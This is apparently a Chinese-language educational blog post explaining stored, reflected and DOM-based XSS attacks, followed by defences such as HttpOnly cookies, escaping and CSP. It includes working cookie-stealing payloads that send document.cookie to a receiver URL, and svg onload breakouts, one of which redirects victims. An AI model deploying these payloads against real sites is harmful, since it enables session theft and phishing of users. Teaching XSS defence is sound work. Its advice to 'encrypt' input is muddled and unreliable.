一. 引言
Cross-Site Scripting(跨站脚本攻击)简称XSS,是一种代码注入攻击。XSS 攻击通常指的是利用网页的漏洞,攻击者通过巧妙的方法注入 XSS 代码到网页,因为浏览器无法分辨哪些脚本是可信的,导致 XSS 脚本被执行。XSS 脚本通常能够窃取用户数据并发送到攻击者的网站,或者冒充用户,调用目标网站接口并执行攻击者指定的操作。
我们需要关注XSS漏洞,主要是因为它可能对个人用户和企业网站造成严重影响。首先,XSS攻击可能导致用户的个人信息被盗取 ,例如反射型XSS攻击大多数是用来盗取用户的Cookie信息。其次,XSS漏洞也可能影响企业网站的正常运行 ,甚至成为蠕虫和盗窃cookie的工具。此外,XSS漏洞还可以用于执行一些恶意操作,如篡改网页内容、窃取会话和cookie等。更重要的是,由于所有的输入都可能成为XSS漏洞的载体,这使得XSS防护变得尤为重要。因此,了解并关注XSS漏洞,对于保护个人隐私和企业安全有着至关重要的作用。
二. XSS漏洞的基本概念
跨站脚本攻击(XSS),是一种网络安全漏洞,其实就是对用于的数据过滤不到位,它允许攻击者将恶意代码注入到其网站中。比如:在博客的内容中写入了一些恶意的脚本,但是博客并未对这些恶意的脚本进行处理,当其他用户再次请求查看博客内容的时候,在浏览器解析的时候会将博客内容的恶意脚本误认为是JS或HTML然后进行执行,这样就可以做一些恶意的操作,比如盗取该访客用户的个人信息,也可以执行一些恶意代码在服务器或访客用户电脑上,以获取一些敏感信息。这种攻击方式能够使得攻击者在不同的网站上运行,而这种攻击主要利用的是网页编程中的脚本语言,比如JS或HTML。对于XSS攻击主要有三种类型,存储型XSS攻击、反射型XSS攻击以及DOM型XSS攻击接下来我们针对这三类分开来说:
2.1 存储型XSS攻击
顾名思义存储型XSS,也就是XSS代码被攻击者存储到服务器当中,因此一旦有用户访问含有该存储型XSS代码的网站的时候就会被攻击。举个例子,比如这个XSS的攻击代码中,将浏览者本机的cookie发送给hacker,接下来,我们逐步在实现这样的一个攻击案例
2.1.1 寻找一个对写入过滤不严谨的网站,或者自己搭建一个对参数过滤不严格的网站
第一:这个网站对输入参数,不做任何过滤,直接写入数据库,而且写入数据库不能使用参数化,需要使用字符串拼接
sql
insert into blog(username,content) values('"+ name +"','" + content+"';
直接这样,我们的html以及script的一些标签可以直接写入到数据库
第二:这个网站在显示博客数据的时候,未做任何操作,直接向HTML节点上附加DOM元素
有这样的先决条件,我们在进行XSS存储型攻击的时候就非常方便了
2.1.2 搭建一个接收信息的服务
这个服务器主要是接收从受害者哪里获取到的敏感信息,比如获取cookie信息,这个服务接收到信息的时候直接存储下来,比如存储到数据库或文本文件中
http://localhost/CrackTest/xsstest/test?cookie=xxx
这个服务是一个get请求,接收一个cookie参数
接下来,我们构造payload进行攻击
script
<script>window.open(\'http://localhost/CrackTest/xsstest/test?cookie=\'+document.cookie)</script>
这个payload主要含义,就是通过window.open()函数远程调用http://localhost/CrackTest/xsstest/test,然后通过javascript的document.cookie获取受害者的cookie信息,这样就可以将受害者的cookie信息发送到hacker的服务上了
hacker在写博客的时候将上面的payload写入到博客内容中,然后就开始等待了
2.1.3 受害者无知的访问了该博客内容
受害者不明真相的访问了该博客,引发上面的payload脚本被执行,那么受害者浏览器中的cookie信息就被发送到hacker搭建的服务上了,也就完成了对受害者信息的窃取
2.1.4 如何防护存储型xss攻击
1.设置HttpOnly标志,因为HttpOnly标志可以有效防止非法用户通过javascript读取cookie,setcookie()的参数,改为setcookie('username',$name,time()+3600,NULL,NULL,NULL,TRUE);setcookie()函数里面第七个参数就是HttpOnly的设置
2.输入验证,对HTML元素和JS元素进行验证,在执行SQL插入操作的时候不允许HTML元素和JS元素存储在数据库中
3.对HTML元素渲染进行限制,并对对 HTML 做充分转义,限制输入框的html或js不允许其执行,或限制其执行范围。
4.采用Content Security Policy(CSP)策略,即内容安全策略,它用于检测并削弱某些特定类型的攻击,包括夸赞脚本和数据注入攻击等。为使 CSP 可用,你需要配置你的网络服务器返回 Content-Security-Policy HTTP 标头
html
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src https://*; child-src 'none';" />
5.使用JavaScript Encryption
主要是对输入内容进行加密,加密的主要原理是破坏原有输入内容的结构导致,最好是选择不可逆的加密算法,这样就可以保证输入的内容不可能再次被执行
6.HTML实体编码
对HTML实体进行编码,目的也是为了破坏恶意脚本可执行的结构
2.2 反射型XSS攻击
反射型XSS将用户输入的内容作为代码让浏览器执行达到攻击目的,一般需要让用户访问攻击者构造的URL。这种类型的攻击只发生在客户端上,并且需要从带有恶意脚本参数的特定URL进入,所以也称为非持久型XSS。
其实也很常见,就比如通过QQ、邮件系统、短信收到的一些莫名其妙的链接,此时hacker会将这个恶意链接包装成"中奖"、"领取福利"或"某些秘密链接",受害者在好奇心或捡便宜的心态驱使下点开了这个链接,然后执行了连接中隐藏的恶意代码,然后就将自己电脑或手机上敏感信息传送给hacker搭建的服务。
接下来我们看看如何搭建一个反射型XSS攻击实例:
2.2.1 hacker搭建一个服务,用于接收用户敏感信息
这个服务其实可以和上面的2.1.2类似
2.2.2 hacker伪造一个带有恶意代码的链接,然后通过邮件系统发送给受害者
首先构造一个恶意的链接,这个链接主要是后面的参数,即获取受害者cookie信息,然后将信息发送给hacker
html
http://www.reflect_xss.com/test.html?msg=<script>var+img=document.createElement("img");+img.src="http://localhost/CrackTest/xsstest/test?cookie="%2bescape(document.cookie);+document.appendChild(img)</script>
然后这个链接通过QQ、短信或邮件的方式发送给对方,其实比较常见是通过邮件,因为可以大量发送,成本低,并且有些邮件系统未对安全做充分认证,hacker会将连接包装成一个特别诱人的名字,这样更能诱导用户点击
2.2.3 坐等鱼儿上钩
hacker只需要不断的监控接收服务接收到的数据即可
2.2.4 如何防护呢?
1.对于自建的邮件系统,我们要设置反垃圾邮件的设置,提高邮箱的安全性
2.加强自我安全认识,对陌生的链接或陌生的网站,最好不要乱去访问,说不定某一个链接后面就有一个反射XSS攻击在哪里等着你。
2.3 DOM型XSS攻击
DOM型的XSS,我认为是XSS攻击类型中最复杂的,需要一定的前端开发经验,接下来我们详细了解一下DOM型XSS攻击。
首先我们要了解什么是DOM,全称为文档对象模型(Document Object Model),主要是Web前端开发中使用到的一种模型。比如:在前端开发中会使用到很多元素,如< title>、< h1>等,而为了方便使用这些已经定义的元素,将这些元素作为结点排成树状后,通过遍历这棵树,就可以很方便的调用这些元素。而这颗树就称为DOM树。
接下来我们通过一个实例来实验一下DOM型XSS攻击:
2.3.1构造一个存在DOM型XSS漏洞html页面
首先,我们要构造DOM型XSS漏洞,就需要js获取从url的数据并将其传递到支持动态代码执行的接收器,就会存在DOM的XSS漏洞。常见的JS接收器有:
document.write()
document.writeln()
document.domain
someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML
someDOMElement.onevent
如下HTML即存在DOM型XSS漏洞
在输入query参数之后,参数就可以在HTML页面中显式
2.3.2 进行XSS漏洞攻击
我们可以看到输入的参数在原先的页面HTML元素中被原封不动的显示出来,并未做任何处理。接下来,我们可以考虑使用DOM元素闭合的方式提前结束img标签,然后新增我们需要增加的HTML元素,就比如:
html
"><svg onload=alert(1)>
这段输入的含义是,首先闭合原先的img标签,然后在后面增加了一个svg的HTML的DOM元素标签,通过验证我们发现弹出框已经出来了,按照这个思路我们可以构造一些更加危险的脚本。接下来就可以通过此漏洞构造虚假的URL诱使受害用户点击以获得cookie,与之前的反射型或存储型XSS基本一致。还可以利用window.location.assign(URL)将受害用户重定向到钓鱼网站。
html
"><svg οnlοad=window.location.assign("http://www.baidu.com")>
2.3.3 构造这样的页面,进行钓鱼攻击
比如在某些Blog系统中,如果对输入为做好验证,以及安全防护不高的情况下,hacker对某一个大V的博客进行回复,并且回复内容将这种漏洞的payload储存在评论中。那么不知名的受害者,访问了这个大V的博客,轻者被诱导到一个不知名的网站,重则会损失跟人信息甚至是金钱。
2.3.4 防护DOM型XSS攻击
则类漏洞,主要还是参考2.1.4防护方式
2.4 总结
我们对XSS漏洞有了一个整体的认识,包括存储型XSS攻击、反射型XSS攻击和DOM型XSS攻击,其危害性还是比较大。我们只是从原理上风向这些XSS漏洞出现的原因,也是为了让我们在建设软件的时候能够更好的防护XSS攻击,以及对自我的安全教育,不要对那些未知的不知名的网站劫持了cookie里面敏感的信息。